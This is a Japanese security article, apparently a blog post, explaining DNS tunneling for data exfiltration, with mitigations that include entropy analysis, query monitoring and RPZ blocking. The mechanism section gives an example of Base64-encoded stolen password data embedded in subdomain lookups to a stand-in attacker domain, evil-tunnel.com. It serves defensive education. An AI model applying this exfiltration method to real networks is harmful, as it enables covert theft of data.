はじめに
ネットワークセキュリティにおいて、HTTP/HTTPSは「玄関」として厳重に警備されますが、DNS(53番ポート)は「裏口」として見過ごされがちです。本記事では、攻撃者がどのようにしてDNSを「データ輸送路」に変えるのか、その技術的詳細を解説します。
1. なぜ「DNS」が狙われるのか?
通常、企業のネットワークではHTTP(S)はプロキシや次世代FWで厳重に監視されます。しかし、DNSは以下の理由から 「セキュリティの盲点」 になりやすいのが現状です。
- プロトコルの信頼性: DNSが止まると業務が完全にストップするため、フィルタリングが甘くなりやすい。
- ステートレス性: 基本的にUDPで行われるため、通信の「文脈」を追うのが難しい。
- 再帰的クエリの悪用: 内部PCが直接外部へ通信しなくても、内部DNSサーバーを経由して間接的に外部の攻撃用サーバーへ情報を届けることができる。
2. 攻撃のメカニズム
攻撃者は、自身が管理するドメイン(例: evil-tunnel.com)の権威ネームサーバーを、攻撃用の受信用サーバーに設定します。
ステップ
-
情報の細分化: 盗み出したいデータ(例:
password123)をBase64などでエンコード。 -
サブドメインへの埋め込み:
[データ].evil-tunnel.comという形式で名前解決(nslookup/dig)を実行。- 例:
cGFzc3dvcmQxMjM=.evil-tunnel.com
- 例:
- 転送: 組織のキャッシュDNSサーバーは、このリクエストを攻撃者の権威サーバーへ転送する。
- 収集: 攻撃者のサーバーは「存在しないサブドメイン」へのリクエストを受け取るが、そのログからサブドメイン部分を抽出・結合して元のデータを復元する。
3. DNSプロトコルの制約と「ノイズ」
DNSには仕様上の制限があり、これが防御側にとっての「手がかり」となります。
| 項目 | 制限内容 | 攻撃への影響 |
|---|---|---|
| FQDN最大長 | 255文字 | 一度に送れるデータ量は非常に少ない。 |
| ラベル最大長 | 63文字 | サブドメイン1階層あたりの限界。 |
| リクエスト数 | 膨大になる | 10MBのファイルを送るには5万回以上のリクエストが必要。 |
4. 対策と検知のポイント
DNS Data Exfiltrationを防ぐ、あるいは早期発見するための視点は以下の通りです。
① ドメインのエントロピー(複雑性)分析
google.com や qiita.com と異なり、データが埋め込まれたドメインは x1y2z3a4b5... のようにランダム(高エントロピー) になります。これを機械学習やシグネチャで検知します。
② クエリボリュームの監視
特定のドメイン(特に新規ドメインや評判の低いドメイン)に対して、短時間に大量のクエリが発生していないかを監視します。
③ ペイロードサイズ
リクエストされたサブドメインの長さが、常に制限値(63文字)に近い場合は要注意です。
④ ホワイトリスト/ブラックリストの運用
- RPZ (Response Policy Zones): 既知の悪意あるドメインへの解決をDNSレベルでブロックします。
- 新しく登録されたドメイン (Newly Registered Domains): 登録から24時間以内のドメインへの通信を制限するのも有効です。
まとめ
DNSはインターネットの根幹を支えるプロトコルですが、それゆえに悪用された際の影響も甚大です。 「Port 53は通して当たり前」という考えから一歩進んで、**「どのようなクエリが、どの程度の頻度で飛んでいるか」**を可視化することが、モダンなネットワークセキュリティの第一歩となります。